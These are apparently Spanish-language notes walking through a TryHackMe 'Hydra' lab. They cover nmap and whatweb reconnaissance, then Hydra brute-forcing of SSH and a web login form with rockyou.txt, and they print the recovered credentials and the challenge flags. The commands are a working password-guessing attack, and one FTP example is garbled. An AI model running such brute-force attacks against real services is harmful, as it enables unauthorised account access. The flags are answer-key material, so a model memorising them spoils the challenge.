# Hydra

# Enumeration

## Whatweb

whatweb 10.10.171.35

http://10.10.171.35 [302 Found] Cookies[connect.sid], Country[RESERVED][ZZ], HttpOnly[connect.sid], IP[10.10.171.35], RedirectLocation[/login], X-Powered-By[Express]
http://10.10.171.35/login [200 OK] Bootstrap, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HttpOnly[connect.sid], IP[10.10.171.35], JQuery, PasswordField[password], Script, Title[Hydra Challenge], X-Powered-By[Express]

## WhichSystem.py

whichSystem.py 10.10.171.35

10.10.171.35 (ttl -> 61): Linux

## nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.171.35 -oG allPorts

22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61

encontramos dos puetos 22 y 80
podemos usar hydra dependiendo dek servicio (protocolo) para poderlo atacar

por ejemplo si queremos usar fuerza brruta ante un FTP con el nombre de usuario como usurio y la lista de passwords como passlist.txt, usariamos el siguiente comando

hydra -l user -P passlistftp://10.10.171.35.txt

para el propocito de esta maquin, aqui estan los comando para usar Hydra en SSH y un formulario web (metoso POST)

hydra -l <username> -P <full path to pass> 10.10.171.35 -t 4 ssh
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.171.35 -t 4 ssh

-l : nombre del usuario
-P : uso de la lista de passwords
-t especifica el numero de hilos a usar
4 : es recomendable

[22][ssh] host: 10.10.171.35 login: molly password: butterfly

cat flag2.txt
obetenemos la bandera
THM{c8eeb0468febbadea859baeb33b2541b}

tambien podemos usar Hydra para forzar formularios web, tendra que asegurarse de saber que tipo de solicitud esta haciendo: los metodos GET o POST se utilizan normalmente. Puede usar la pesta;a de red de su navegador (en las herramientas de desarrollador) para ver los tipos de silicitud, o simplemente ver el codigo fuente.

## Formulario sin errores

```
<form class="form-signin" action="/login" method="post">
  <a href='/'><img class="mb-4" style='width: 200px;' src="/img/herc.gif" alt=""></a>
  <h1 class="h3 mb-3 font-weight-normal">Login</h1>

  <label for="inputEmail" class="sr-only">Username</label>
  <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
  <label for="inputPassword" class="sr-only">Password</label>
  <input type="password" name="password" class="form-control" placeholder="Password" required>
  <button class="btn btn-lg btn-primary btn-block" type="submit">Login</button>
  <p class="mt-5 mb-3 text-muted">&copy; HydraSite 2012 - 2020</p>
</form>
```

## Formulario con errorres

```
<form class="form-signin" action="/login" method="post">


  <a href='/'><img class="mb-4" style='width: 200px;' src="/img/herc.gif" alt=""></a>
  <h1 class="h3 mb-3 font-weight-normal">Login</h1>
    <div class="text-center">Your username or password is incorrect.</div></br>
    <label for="inputEmail" class="sr-only">Username</label>
  <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
  <label for="inputPassword" class="sr-only">Password</label>
  <input type="password" name="password" class="form-control" placeholder="Password" required>
  <button class="btn btn-lg btn-primary btn-block" type="submit">Login</button>
  <p class="mt-5 mb-3 text-muted">&copy; HydraSite 2012 - 2020</p>
</form>
```

viendo el codigo fuente podemos ver que se trata de un metodo POST

hydra -l <username> -P <wordlist> 10.10.171.35 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

-l : nombre del usuario

-P : indica la lista de password

http-post-form : indica el tipo de formato (post)

/login url : el login de la URL de la pagina

:username : el campo del formulario donde se introduce el nombre del usuario

^USER^ : le dices a hydra que user el nombre de usuario

password : el campo del formulario donde se introduce el password

^PASS^ :  le dices a Hydra que use las lista de password suministradas

Login :  indicar a hydra el mensaje de fallo en el inicio de sesión

Login failed : es el mensaje de fallo de inicio de sesión que devuelve el formulario

F=incorrect : si esta palabra aparece es incorrecta

-V :  salida con informacion para cada intentto

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.171.35 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect." -V

[80][http-post-form] host: 10.10.171.35   login: molly   password: sunshine

entramos a la pagina

obetenemos la bandera
THM{2673a7dd116de68e85c48ec0b1f2612e}